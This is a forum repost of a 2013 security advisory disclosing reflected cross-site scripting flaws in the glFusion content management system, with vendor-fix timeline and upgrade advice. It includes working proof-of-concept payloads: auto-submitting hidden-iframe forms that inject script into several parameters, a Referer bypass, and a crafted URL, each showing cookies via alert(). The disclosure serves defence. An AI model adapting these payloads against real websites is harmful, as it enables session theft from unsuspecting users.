Post Wed Feb 20, 2013 8:46 am

HTB23142: Multiple Cross-Site Scripting (XSS) in glFusion

Advisory ID: HTB23142
https://www.htbridge.com/advisory/HTB23142
Product: glFusion
Vendor: glfusion.org
Vulnerable Versions: 1.2.2 and probably prior
Tested Version: 1.2.2
Vendor Notification: January 30, 2013
Vendor Fix: January 30, 2013
Public Disclosure: February 20, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1466
Risk Level: Medium
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab


Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.
glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) .

1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466
1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "subject" HTTP POST parameter passed to "/profiles.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's cookies:
  Code:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/profiles.php" method="post">'
html += '<input type="hidden" name="uid" value="2">'
html += '<input type="hidden" name="author" value="author">'
html += '<input type="hidden" name="message" value="1">'
html += '<input type="hidden" name="message_html" value="1">'
html += '<input type="hidden" name="authoremail" value="mail@mail.com">'
html += '<input type="hidden" name="postmode" value="html">'
html += '<input type="hidden" name="what" value="contact">'
html += '<input type="hidden" name="subject" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>


1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in "address1", "address2", "calendar_type", "city", "state", "title", "url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's cookies:
  Code:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/calendar/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="savecal" value="Submit">'
html += '<input type="hidden" name="address1" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="calendar_type" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="city" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="state" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="zipcode" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="address2" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>


1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in "title" and "url" HTTP POST parameters passed to "/links/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's cookies:
  Code:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/links/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(1);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(2);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>


1.4 The vulnerability exists due to insufficient filtration of user-supplied data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's cookies:
  Code:
http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;% 3C/script%3E/


Solution:
Upgrade to glFusion v1.2.2.pl4

More Information:
http://www.glfusion.org/article.php/glf ... 0130130_01

References:
[1] High-Tech Bridge Advisory HTB23142 - https://www.htbridge.com/advisory/HTB23142 - Multiple Cross-Site Scripting (XSS) in glFusion.
[2] glFusion - http://www.glfusion.org/ - glFusion is an open source content management system developed in PHP providing blog, forum, gallery, downloads.
[3] Common Vulnerabilities and Exposures (CVE) - cve.mitre.org - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.